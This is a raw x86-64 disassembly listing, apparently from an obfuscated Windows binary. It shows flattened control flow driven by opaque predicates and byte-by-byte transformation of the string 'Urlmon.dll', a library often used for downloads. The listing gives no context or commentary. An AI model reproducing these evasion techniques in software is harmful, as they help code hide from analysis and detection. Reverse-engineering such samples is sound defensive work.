jmp 0x1400459f0
mov qword [rbp + 0x50], r9
mov eax, r13d
jmp 0x1400459f0
mov eax, edi
cmp edi, 0xac4b8031
jne 0x1400459f0
mov qword [rbp + 0x78], r8
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xc5
mov rcx, qword [rbp + 0x58]
mov rbx, qword [rbp + 8]
mov byte [rbx + rcx], al
mov rax, qword [rbp + 0x58]
add rax, 1
mov qword [rbp + 0x38], rax
mov eax, 0xf67b1067
jmp 0x1400457a0
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x58]
mov al, byte [rbx + rax]
mov byte [rbp + 0x67], al
mov eax, 0xdc37527f
jmp 0x1400457a0
mov eax, 0x43fdb90c
jmp 0x1400457a0
mov rax, qword [rbp + 0x68]
cmp rax, 0x21
setb byte [rbp + 0x37]
mov eax, dword [0x1400611d8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1400611dc], 0xa
setl cl
setge dl
xor dl, al
and cl, al
xor cl, dl
mov eax, 0x69fcfd8
mov ecx, 0x84014a92
cmovne eax, ecx
jmp 0x1400457a0
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x68], rax
mov eax, 0x473294f0
jmp 0x1400457a0
mov qword [rbp + 0x40], rbx
mov eax, 0x78b3e77a
jmp 0x1400457a0
cmp eax, 0x78b3e77a
jne 0x1400457a0
mov rax, qword [rbp + 0x40]
mov eax, 0x6bf8a2e1
jmp 0x140045259
cmp eax, 0x146ff8c4
jne 0x140045259
mov rax, qword [rbp + 0x20]
mov qword [rbp - 0x80], rax
mov rax, qword [rbp - 0x60]
mov qword [rbp - 0x78], rax
mov rax, qword [rbp - 0x78]
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x28], rax
lea rax, str.Urlmon.dll
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x38]
mov r8b, byte [rax]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x78]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x80]
or cl, al
mov ecx, 0x4cf020a
mov eax, 0x75aedf14
cmovne ecx, eax
mov esi, 0x4cf020a
mov eax, 0x45917e58
cmovne esi, eax
mov ebx, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne ebx, eax
mov edx, 0xec7e2cc5
jmp 0x140045c90
mov edx, 0x1ace8dcf
nop word cs:[rax + rax]
nop dword [rax]
mov edi, edx
cmp edx, 0x1ace8dce
jg 0x140045ce0
cmp edi, 0x2cd254d
jg 0x140045d00
cmp edi, 0x8f8aa7a1
je 0x140045c7e
cmp edi, 0xec7e2cc5
jne 0x140045d50
movzx eax, byte [rbp + 0x78]
cmp byte [rbp + 0x80], 0
mov edi, 0x1ace8dcf
mov edx, 0x1ace8dcf
jne 0x140045cd2
mov edx, 0x8f8aa7a1
test al, al
cmovne edx, edi
jmp 0x140045c90
cmp edi, 0x46987e57
jg 0x140045d20
mov edx, ebx
cmp edi, 0x1ace8dcf
je 0x140045c90
mov edx, edi
cmp edi, 0x45917e58
jne 0x140045c90
mov edx, ecx
jmp 0x140045c90
cmp edi, 0x2cd254e
je 0x140045d46
mov edx, edi
cmp edi, 0x4cf020a
jne 0x140045c90
mov edx, 0x45917e58
jmp 0x140045c90
mov edx, esi
cmp edi, 0x46987e58
je 0x140045c90
mov edx, edi
cmp edi, 0x75aedf14
jne 0x140045c90
mov edx, 0xa4151800
jmp 0x140045c90
mov edx, 0x46987e58
jmp 0x140045c90
mov edx, edi
cmp edi, 0xa4151800
jne 0x140045c90
mov al, 0x63
sub al, r8b
and al, 0x84
add r8b, 0x1c
and r8b, 0x7b
or r8b, al
mov rax, qword [rbp + 0x28]
mov byte [rax], r8b
mov r8, qword [rbp + 0x28]
mov rax, qword [rbp + 0x38]
mov r9b, byte [rax + 1]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x78]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x80]
or cl, al
mov edx, 0x4cf020a
mov eax, 0x75aedf14
cmovne edx, eax
mov eax, 0x4cf020a
mov ecx, 0x45917e58
cmovne eax, ecx
mov edi, 0x8f8aa7a1
mov ecx, 0x2cd254e
cmovne edi, ecx
mov ebx, 0xec7e2cc5
jmp 0x140045df0
mov ebx, 0x1ace8dcf
nop word cs:[rax + rax]
nop dword [rax + rax]
mov esi, ebx
cmp ebx, 0x1ace8dce
jg 0x140045e40
cmp esi, 0x2cd254d
jg 0x140045e60
cmp esi, 0x8f8aa7a1
je 0x140045ddc
cmp esi, 0xec7e2cc5
jne 0x140045eb0
movzx ecx, byte [rbp + 0x78]
cmp byte [rbp + 0x80], 0
mov esi, 0x1ace8dcf
mov ebx, 0x1ace8dcf
jne 0x140045e32
mov ebx, 0x8f8aa7a1
test cl, cl
cmovne ebx, esi
jmp 0x140045df0
cmp esi, 0x46987e57
jg 0x140045e80
mov ebx, edi
cmp esi, 0x1ace8dcf
je 0x140045df0
mov ebx, esi
cmp esi, 0x45917e58
jne 0x140045df0
mov ebx, edx
jmp 0x140045df0
cmp esi, 0x2cd254e
je 0x140045ea6
mov ebx, esi
cmp esi, 0x4cf020a
jne 0x140045df0
mov ebx, 0x45917e58
jmp 0x140045df0
mov ebx, eax
cmp esi, 0x46987e58
je 0x140045df0
mov ebx, esi
cmp esi, 0x75aedf14
jne 0x140045df0
mov ebx, 0xa4151800
jmp 0x140045df0
mov ebx, 0x46987e58
jmp 0x140045df0
mov ebx, esi
cmp esi, 0xa4151800
jne 0x140045df0
mov al, 0x63
sub al, r9b
and al, 0x85
add r9b, 0x1c
and r9b, 0x7a
or r9b, al
mov byte [r8 + 1], r9b
mov rax, qword [rbp + 0x38]
mov r9b, byte [rax + 2]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x78]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x80]
or cl, al
mov edx, 0x4cf020a
mov eax, 0x75aedf14
cmovne edx, eax
mov ebx, 0x4cf020a
mov eax, 0x45917e58
cmovne ebx, eax
mov edi, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne edi, eax
mov eax, 0xec7e2cc5
jmp 0x140045f40
mov eax, 0x1ace8dcf
nop word [rax + rax]
mov esi, eax
cmp eax, 0x1ace8dce
jg 0x140045f90
cmp esi, 0x2cd254d
jg 0x140045fb0
cmp esi, 0x8f8aa7a1
je 0x140045f35
cmp esi, 0xec7e2cc5
jne 0x140046000
movzx ecx, byte [rbp + 0x78]
cmp byte [rbp + 0x80], 0
mov esi, 0x1ace8dcf
mov eax, 0x1ace8dcf
jne 0x140045f81
mov eax, 0x8f8aa7a1
test cl, cl
cmovne eax, esi
jmp 0x140045f40
cmp esi, 0x46987e57
jg 0x140045fd0
mov eax, edi
cmp esi, 0x1ace8dcf
je 0x140045f40
mov eax, esi
cmp esi, 0x45917e58
jne 0x140045f40
mov eax, edx
jmp 0x140045f40
cmp esi, 0x2cd254e
je 0x140045ff6
mov eax, esi
cmp esi, 0x4cf020a
jne 0x140045f40
mov eax, 0x45917e58
jmp 0x140045f40
mov eax, ebx
cmp esi, 0x46987e58
je 0x140045f40
mov eax, esi
cmp esi, 0x75aedf14
jne 0x140045f40
mov eax, 0xa4151800
jmp 0x140045f40
mov eax, 0x46987e58
jmp 0x140045f40
mov eax, esi
cmp esi, 0xa4151800
jne 0x140045f40
mov al, 0x63
sub al, r9b
and al, 0x86
add r9b, 0x1c
and r9b, 0x79
or r9b, al
mov byte [r8 + 2], r9b
mov rax, qword [rbp + 0x38]
mov r9b, byte [rax + 3]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x78]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x80]
or cl, al
mov edx, 0x4cf020a
mov eax, 0x75aedf14
cmovne edx, eax
mov ebx, 0x4cf020a
mov eax, 0x45917e58
cmovne ebx, eax
mov edi, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne edi, eax
mov eax, 0xec7e2cc5
jmp 0x140046090
mov eax, 0x1ace8dcf
nop word [rax + rax]
mov esi, eax
cmp eax, 0x1ace8dce
jg 0x1400460e0
cmp esi, 0x2cd254d
jg 0x140046100
cmp esi, 0x8f8aa7a1
je 0x140046085
cmp esi, 0xec7e2cc5
jne 0x140046150
movzx ecx, byte [rbp + 0x78]
cmp byte [rbp + 0x80], 0
mov esi, 0x1ace8dcf
mov eax, 0x1ace8dcf
jne 0x1400460d1
mov eax, 0x8f8aa7a1
test cl, cl
cmovne eax, esi
jmp 0x140046090
cmp esi, 0x46987e57
jg 0x140046120
mov eax, edi
cmp esi, 0x1ace8dcf
je 0x140046090
mov eax, esi
cmp esi, 0x45917e58
jne 0x140046090
mov eax, edx
jmp 0x140046090
cmp esi, 0x2cd254e
je 0x140046146
mov eax, esi
cmp esi, 0x4cf020a
jne 0x140046090
mov eax, 0x45917e58
jmp 0x140046090
mov eax, ebx
cmp esi, 0x46987e58
je 0x140046090
mov eax, esi
cmp esi, 0x75aedf14
jne 0x140046090
mov eax, 0xa4151800
jmp 0x140046090
mov eax, 0x46987e58
jmp 0x140046090
mov eax, esi
cmp esi, 0xa4151800
jne 0x140046090
mov al, 0x63
sub al, r9b
and al, 0x87
add r9b, 0x1c
and r9b, 0x78
or r9b, al
mov byte [r8 + 3], r9b
add r8, 4
mov qword [rbp + 0x50], r8
mov rax, qword [rbp + 0x38]
mov r8b, byte [rax + 4]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x78]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x80]
or cl, al
mov ecx, 0x4cf020a
mov eax, 0x75aedf14
cmovne ecx, eax
mov esi, 0x4cf020a
mov eax, 0x45917e58
cmovne esi, eax
mov ebx, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne ebx, eax
mov edx, 0xec7e2cc5
jmp 0x1400461f0
mov edx, 0x1ace8dcf
nop word cs:[rax + rax]
nop dword [rax]
mov edi, edx
cmp edx, 0x1ace8dce
jg 0x140046240
cmp edi, 0x2cd254d
jg 0x140046260
cmp edi, 0x8f8aa7a1
je 0x1400461dd
cmp edi, 0xec7e2cc5
jne 0x1400462b0
movzx eax, byte [rbp + 0x78]
cmp byte [rbp + 0x80], 0
mov edi, 0x1ace8dcf
mov edx, 0x1ace8dcf
jne 0x140046232
mov edx, 0x8f8aa7a1
test al, al
cmovne edx, edi
jmp 0x1400461f0
cmp edi, 0x46987e57
jg 0x140046280
mov edx, ebx
cmp edi, 0x1ace8dcf
je 0x1400461f0
mov edx, edi
cmp edi, 0x45917e58
jne 0x1400461f0
mov edx, ecx
jmp 0x1400461f0
cmp edi, 0x2cd254e
je 0x1400462a6
mov edx, edi
cmp edi, 0x4cf020a
jne 0x1400461f0
mov edx, 0x45917e58
jmp 0x1400461f0
mov edx, esi
cmp edi, 0x46987e58
je 0x1400461f0
mov edx, edi
cmp edi, 0x75aedf14
jne 0x1400461f0
mov edx, 0xa4151800
jmp 0x1400461f0
mov edx, 0x46987e58
jmp 0x1400461f0
mov edx, edi
cmp edi, 0xa4151800
jne 0x1400461f0
mov al, 0x63
sub al, r8b
and al, 0x88
add r8b, 0x1c
and r8b, 0x77
or r8b, al
mov byte [rbp + 0x58], r8b
mov ecx, 0x4d9cf004
jmp 0x140046301
mov eax, dword [0x1400611f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3469ddb7
mov eax, 0xa0dbb166
cmove ecx, eax
cmp dword [0x1400611f4], 0xa
cmovl ecx, eax
cmp ecx, 0x3469ddb6
jle 0x140046600
cmp ecx, 0x540bdb7f
jle 0x140046630
cmp ecx, 0x540bdb80
je 0x1400466a9
cmp ecx, 0x5d672a3f
je 0x1400462db
cmp ecx, 0x7a00c67b
jne 0x140046301
mov rax, qword [rbp + 0x50]
mov cl, byte [rbp + 0x58]
mov byte [rax], cl
mov r9, qword [rbp + 0x50]
mov rax, qword [rbp + 0x38]
mov r10b, byte [rax + 5]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x68]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x40]
or cl, al
mov ebx, 0x4cf020a
mov eax, 0x75aedf14
cmovne ebx, eax
mov ecx, 0x4cf020a
mov eax, 0x45917e58
cmovne ecx, eax
mov esi, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne esi, eax
mov edi, 0xec7e2cc5
jmp 0x1400463b0
mov edi, 0x1ace8dcf
nop word cs:[rax + rax]
nop
mov eax, edi
cmp edi, 0x1ace8dce
jg 0x140046400
cmp eax, 0x2cd254d
jg 0x140046420
cmp eax, 0x8f8aa7a1
je 0x1400463a0
cmp eax, 0xec7e2cc5
jne 0x14004646e
movzx eax, byte [rbp + 0x68]
cmp byte [rbp + 0x40], 0
mov edx, 0x1ace8dcf
mov edi, 0x1ace8dcf
jne 0x1400463ec
mov edi, 0x8f8aa7a1
test al, al
cmovne edi, edx
jmp 0x1400463b0
cmp eax, 0x46987e57
jg 0x140046440
mov edi, esi
cmp eax, 0x1ace8dcf
je 0x1400463b0
mov edi, eax
cmp eax, 0x45917e58
jne 0x1400463b0
mov edi, ebx
jmp 0x1400463b0
cmp eax, 0x2cd254e
je 0x140046464
mov edi, eax
cmp eax, 0x4cf020a
jne 0x1400463b0
mov edi, 0x45917e58
jmp 0x1400463b0
mov edi, ecx
cmp eax, 0x46987e58
je 0x1400463b0
mov edi, eax
cmp eax, 0x75aedf14
jne 0x1400463b0
mov edi, 0xa4151800
jmp 0x1400463b0
mov edi, 0x46987e58
jmp 0x1400463b0
mov edi, eax
cmp eax, 0xa4151800
jne 0x1400463b0
mov al, 0x63
sub al, r10b
and al, 0x89
add r10b, 0x1c
and r10b, 0x76
or r10b, al
mov byte [r9 + 1], r10b
add r9, 2
mov qword [rbp + 0x78], r9
mov rax, qword [rbp + 0x38]
mov r9b, byte [rax + 6]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x68]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x40]
or cl, al
mov edx, 0x4cf020a
mov eax, 0x75aedf14
cmovne edx, eax
mov esi, 0x4cf020a
mov eax, 0x45917e58
cmovne esi, eax
mov edi, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne edi, eax
mov ebx, 0xec7e2cc5
jmp 0x140046500
mov ebx, 0x1ace8dcf
nop dword [rax]
mov eax, ebx
cmp ebx, 0x1ace8dce
jg 0x140046550
cmp eax, 0x2cd254d
jg 0x140046570
cmp eax, 0x8f8aa7a1
je 0x1400464f7
cmp eax, 0xec7e2cc5
jne 0x1400465be
movzx eax, byte [rbp + 0x68]
cmp byte [rbp + 0x40], 0
mov ecx, 0x1ace8dcf
mov ebx, 0x1ace8dcf
jne 0x14004653c
mov ebx, 0x8f8aa7a1
test al, al
cmovne ebx, ecx
jmp 0x140046500
cmp eax, 0x46987e57
jg 0x140046590
mov ebx, edi
cmp eax, 0x1ace8dcf
je 0x140046500
mov ebx, eax
cmp eax, 0x45917e58
jne 0x140046500
mov ebx, edx
jmp 0x140046500
cmp eax, 0x2cd254e
je 0x1400465b4
mov ebx, eax
cmp eax, 0x4cf020a
jne 0x140046500
mov ebx, 0x45917e58
jmp 0x140046500
mov ebx, esi
cmp eax, 0x46987e58
je 0x140046500
mov ebx, eax
cmp eax, 0x75aedf14
jne 0x140046500
mov ebx, 0xa4151800
jmp 0x140046500
mov ebx, 0x46987e58
jmp 0x140046500
mov ebx, eax
cmp eax, 0xa4151800
jne 0x140046500
mov al, 0x63
sub al, r9b
and al, 0x8a
add r9b, 0x1c
and r9b, 0x75
or r9b, al
mov byte [rbp + 0x48], r9b
mov eax, dword [0x1400611f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x98cbd77f
mov eax, 0xa212e216
jmp 0x1400462f4
cmp ecx, 0xcabcdf41
jg 0x140046670
cmp ecx, 0x98cbd77f
je 0x1400466c7
cmp ecx, 0xa212e216
jne 0x140046ebe
mov ecx, 0xcabcdf42
jmp 0x140046301
cmp ecx, 0x3469ddb7
je 0x140046955
cmp ecx, 0x4d9cf004
jne 0x140046301
mov eax, dword [0x1400611f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x98cbd77f
mov eax, 0x7a00c67b
jmp 0x1400462f4
cmp ecx, 0xcabcdf42
je 0x14004695f
cmp ecx, 0xe747b84f
jne 0x140046301
mov byte [r8], 0
add r8, 1
cmp r8, qword [rbp + 0x80]
mov ecx, 0xe747b84f
mov eax, 0x540bdb80
cmove ecx, eax
jmp 0x140046301
mov eax, dword [0x1400611f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3469ddb7
mov eax, 0x5d672a3f
jmp 0x1400462f4
mov rax, qword [rbp + 0x50]
mov cl, byte [rbp + 0x58]
mov byte [rax], cl
mov r9, qword [rbp + 0x50]
mov rax, qword [rbp + 0x38]
mov r10b, byte [rax + 5]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x68]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x40]
or cl, al
mov ebx, 0x4cf020a
mov eax, 0x75aedf14
cmovne ebx, eax
mov ecx, 0x4cf020a
mov eax, 0x45917e58
cmovne ecx, eax
mov esi, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne esi, eax
mov edi, 0xec7e2cc5
jmp 0x140046740
mov edi, 0x1ace8dcf
nop word [rax + rax]
mov eax, edi
cmp edi, 0x1ace8dce
jg 0x140046790
cmp eax, 0x2cd254d
jg 0x1400467b0
cmp eax, 0x8f8aa7a1
je 0x140046732
cmp eax, 0xec7e2cc5
jne 0x1400467fe
movzx eax, byte [rbp + 0x68]
cmp byte [rbp + 0x40], 0
mov edx, 0x1ace8dcf
mov edi, 0x1ace8dcf
jne 0x14004677c
mov edi, 0x8f8aa7a1
test al, al
cmovne edi, edx
jmp 0x140046740
cmp eax, 0x46987e57
jg 0x1400467d0
mov edi, esi
cmp eax, 0x1ace8dcf
je 0x140046740
mov edi, eax
cmp eax, 0x45917e58
jne 0x140046740
mov edi, ebx
jmp 0x140046740
cmp eax, 0x2cd254e
je 0x1400467f4
mov edi, eax
cmp eax, 0x4cf020a
jne 0x140046740
mov edi, 0x45917e58
jmp 0x140046740
mov edi, ecx
cmp eax, 0x46987e58
je 0x140046740
mov edi, eax
cmp eax, 0x75aedf14
jne 0x140046740
mov edi, 0xa4151800
jmp 0x140046740
mov edi, 0x46987e58
jmp 0x140046740
mov edi, eax
cmp eax, 0xa4151800
jne 0x140046740
mov al, 0x63
sub al, r10b
and al, 0x89
add r10b, 0x1c
and r10b, 0x76
or r10b, al
mov byte [r9 + 1], r10b
mov rax, qword [rbp + 0x38]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x68]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x40]
or cl, al
mov ecx, 0x4cf020a
mov eax, 0x75aedf14
cmovne ecx, eax
mov edi, 0x4cf020a
mov eax, 0x45917e58
cmovne edi, eax
mov ebx, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne ebx, eax
mov edx, 0xec7e2cc5
jmp 0x140046880
mov edx, 0x1ace8dcf
mov eax, edx
cmp edx, 0x1ace8dce
jg 0x1400468d0
cmp eax, 0x2cd254d
jg 0x1400468f0
cmp eax, 0x8f8aa7a1
je 0x14004687b
cmp eax, 0xec7e2cc5
jne 0x14004693e
movzx eax, byte [rbp + 0x68]
cmp byte [rbp + 0x40], 0
mov esi, 0x1ace8dcf
mov edx, 0x1ace8dcf
jne 0x1400468bc
mov edx, 0x8f8aa7a1
test al, al
cmovne edx, esi
jmp 0x140046880
cmp eax, 0x46987e57
jg 0x140046910
mov edx, ebx
cmp eax, 0x1ace8dcf
je 0x140046880
mov edx, eax
cmp eax, 0x45917e58
jne 0x140046880
mov edx, ecx
jmp 0x140046880
cmp eax, 0x2cd254e
je 0x140046934
mov edx, eax
cmp eax, 0x4cf020a
jne 0x140046880
mov edx, 0x45917e58
jmp 0x140046880
mov edx, edi
cmp eax, 0x46987e58
je 0x140046880
mov edx, eax
cmp eax, 0x75aedf14
jne 0x140046880
mov edx, 0xa4151800
jmp 0x140046880
mov edx, 0x46987e58
jmp 0x140046880
mov edx, eax
cmp eax, 0xa4151800
jne 0x140046880
mov ecx, 0x7a00c67b
jmp 0x140046301
mov ecx, 0x5d672a3f
jmp 0x140046301
mov rax, qword [rbp + 0x78]
mov cl, byte [rbp + 0x48]
mov byte [rax], cl
mov r8, qword [rbp + 0x78]
mov rax, qword [rbp + 0x38]
mov r9b, byte [rax + 7]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x68]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x40]
or cl, al
mov edx, 0x4cf020a
mov eax, 0x75aedf14
cmovne edx, eax
mov esi, 0x4cf020a
mov eax, 0x45917e58
cmovne esi, eax
mov edi, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne edi, eax
mov ebx, 0xec7e2cc5
jmp 0x1400469d0
mov ebx, 0x1ace8dcf
nop
mov eax, ebx
cmp ebx, 0x1ace8dce
jg 0x140046a20
cmp eax, 0x2cd254d
jg 0x140046a40
cmp eax, 0x8f8aa7a1
je 0x1400469ca
cmp eax, 0xec7e2cc5
jne 0x140046a8e
movzx eax, byte [rbp + 0x68]
cmp byte [rbp + 0x40], 0
mov ecx, 0x1ace8dcf
mov ebx, 0x1ace8dcf
jne 0x140046a0c
mov ebx, 0x8f8aa7a1
test al, al
cmovne ebx, ecx
jmp 0x1400469d0
cmp eax, 0x46987e57
jg 0x140046a60
mov ebx, edi
cmp eax, 0x1ace8dcf
je 0x1400469d0
mov ebx, eax
cmp eax, 0x45917e58
jne 0x1400469d0
mov ebx, edx
jmp 0x1400469d0
cmp eax, 0x2cd254e
je 0x140046a84
mov ebx, eax
cmp eax, 0x4cf020a
jne 0x1400469d0
mov ebx, 0x45917e58
jmp 0x1400469d0
mov ebx, esi
cmp eax, 0x46987e58
je 0x1400469d0
mov ebx, eax
cmp eax, 0x75aedf14
jne 0x1400469d0
mov ebx, 0xa4151800
jmp 0x1400469d0
mov ebx, 0x46987e58
jmp 0x1400469d0
mov ebx, eax
cmp eax, 0xa4151800
jne 0x1400469d0
mov al, 0x63
sub al, r9b
and al, 0x8b
add r9b, 0x1c
and r9b, 0x74
or r9b, al
mov byte [r8 + 1], r9b
mov rax, qword [rbp + 0x38]
mov r9b, byte [rax + 8]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x68]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x40]
or cl, al
mov edx, 0x4cf020a
mov eax, 0x75aedf14
cmovne edx, eax
mov esi, 0x4cf020a
mov eax, 0x45917e58
cmovne esi, eax
mov edi, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne edi, eax
mov ebx, 0xec7e2cc5
jmp 0x140046b20
mov ebx, 0x1ace8dcf
nop word cs:[rax + rax]
nop
mov eax, ebx
cmp ebx, 0x1ace8dce
jg 0x140046b70
cmp eax, 0x2cd254d
jg 0x140046b90
cmp eax, 0x8f8aa7a1
je 0x140046b0f
cmp eax, 0xec7e2cc5
jne 0x140046bde
movzx eax, byte [rbp + 0x68]
cmp byte [rbp + 0x40], 0
mov ecx, 0x1ace8dcf
mov ebx, 0x1ace8dcf
jne 0x140046b5c
mov ebx, 0x8f8aa7a1
test al, al
cmovne ebx, ecx
jmp 0x140046b20
cmp eax, 0x46987e57
jg 0x140046bb0
mov ebx, edi
cmp eax, 0x1ace8dcf
je 0x140046b20
mov ebx, eax
cmp eax, 0x45917e58
jne 0x140046b20
mov ebx, edx
jmp 0x140046b20
cmp eax, 0x2cd254e
je 0x140046bd4
mov ebx, eax
cmp eax, 0x4cf020a
jne 0x140046b20
mov ebx, 0x45917e58
jmp 0x140046b20
mov ebx, esi
cmp eax, 0x46987e58
je 0x140046b20
mov ebx, eax
cmp eax, 0x75aedf14
jne 0x140046b20
mov ebx, 0xa4151800
jmp 0x140046b20
mov ebx, 0x46987e58
jmp 0x140046b20
mov ebx, eax
cmp eax, 0xa4151800
jne 0x140046b20
mov al, 0x63
sub al, r9b
and al, 0x8c
add r9b, 0x1c
and r9b, 0x73
or r9b, al
mov byte [r8 + 2], r9b
mov rax, qword [rbp + 0x38]
mov r9b, byte [rax + 9]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x68]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x40]
or cl, al
mov edx, 0x4cf020a
mov eax, 0x75aedf14
cmovne edx, eax
mov esi, 0x4cf020a
mov eax, 0x45917e58
cmovne esi, eax
mov edi, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne edi, eax
mov ebx, 0xec7e2cc5
jmp 0x140046c70
mov ebx, 0x1ace8dcf
nop word cs:[rax + rax]
nop
mov eax, ebx
cmp ebx, 0x1ace8dce
jg 0x140046cc0
cmp eax, 0x2cd254d
jg 0x140046ce0
cmp eax, 0x8f8aa7a1
je 0x140046c5f
cmp eax, 0xec7e2cc5
jne 0x140046d2e
movzx eax, byte [rbp + 0x68]
cmp byte [rbp + 0x40], 0
mov ecx, 0x1ace8dcf
mov ebx, 0x1ace8dcf
jne 0x140046cac
mov ebx, 0x8f8aa7a1
test al, al
cmovne ebx, ecx
jmp 0x140046c70
cmp eax, 0x46987e57
jg 0x140046d00
mov ebx, edi
cmp eax, 0x1ace8dcf
je 0x140046c70
mov ebx, eax
cmp eax, 0x45917e58
jne 0x140046c70
mov ebx, edx
jmp 0x140046c70
cmp eax, 0x2cd254e
je 0x140046d24
mov ebx, eax
cmp eax, 0x4cf020a
jne 0x140046c70
mov ebx, 0x45917e58
jmp 0x140046c70
mov ebx, esi
cmp eax, 0x46987e58
je 0x140046c70
mov ebx, eax
cmp eax, 0x75aedf14
jne 0x140046c70
mov ebx, 0xa4151800
jmp 0x140046c70
mov ebx, 0x46987e58
jmp 0x140046c70
mov ebx, eax
cmp eax, 0xa4151800
jne 0x140046c70
mov al, 0x63
sub al, r9b
and al, 0x8d
add r9b, 0x1c
and r9b, 0x72
or r9b, al
mov byte [r8 + 3], r9b
mov rax, qword [rbp + 0x38]
mov r9b, byte [rax + 0xa]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x68]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x40]
or cl, al
mov edx, 0x4cf020a
mov eax, 0x75aedf14
cmovne edx, eax
mov esi, 0x4cf020a
mov eax, 0x45917e58
cmovne esi, eax
mov edi, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne edi, eax
mov ebx, 0xec7e2cc5
jmp 0x140046dc0
mov ebx, 0x1ace8dcf
nop word cs:[rax + rax]
nop
mov eax, ebx
cmp ebx, 0x1ace8dce
jg 0x140046e10
cmp eax, 0x2cd254d
jg 0x140046e30
cmp eax, 0x8f8aa7a1
je 0x140046daf
cmp eax, 0xec7e2cc5
jne 0x140046e7e
movzx eax, byte [rbp + 0x68]
cmp byte [rbp + 0x40], 0
mov ecx, 0x1ace8dcf
mov ebx, 0x1ace8dcf
jne 0x140046dfc
mov ebx, 0x8f8aa7a1
test al, al
cmovne ebx, ecx
jmp 0x140046dc0
cmp eax, 0x46987e57
jg 0x140046e50
mov ebx, edi
cmp eax, 0x1ace8dcf
je 0x140046dc0
mov ebx, eax
cmp eax, 0x45917e58
jne 0x140046dc0
mov ebx, edx
jmp 0x140046dc0
cmp eax, 0x2cd254e
je 0x140046e74
mov ebx, eax
cmp eax, 0x4cf020a
jne 0x140046dc0
mov ebx, 0x45917e58
jmp 0x140046dc0
mov ebx, esi
cmp eax, 0x46987e58
je 0x140046dc0
mov ebx, eax
cmp eax, 0x75aedf14
jne 0x140046dc0
mov ebx, 0xa4151800
jmp 0x140046dc0
mov ebx, 0x46987e58
jmp 0x140046dc0
mov ebx, eax
cmp eax, 0xa4151800
jne 0x140046dc0
mov al, 0x63
sub al, r9b
and al, 0x8e
add r9b, 0x1c
and r9b, 0x71
or r9b, al
mov byte [r8 + 4], r9b
add r8, 5
mov rax, qword [rbp + 0x28]
add rax, 0x1b
mov qword [rbp + 0x80], rax
mov ecx, 0xe747b84f
jmp 0x140046301
cmp ecx, 0xa0dbb166
jne 0x140046301
mov eax, dword [0x1400610d0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400610d4], 0xa
setge dl
xor al, dl
mov ebx, eax
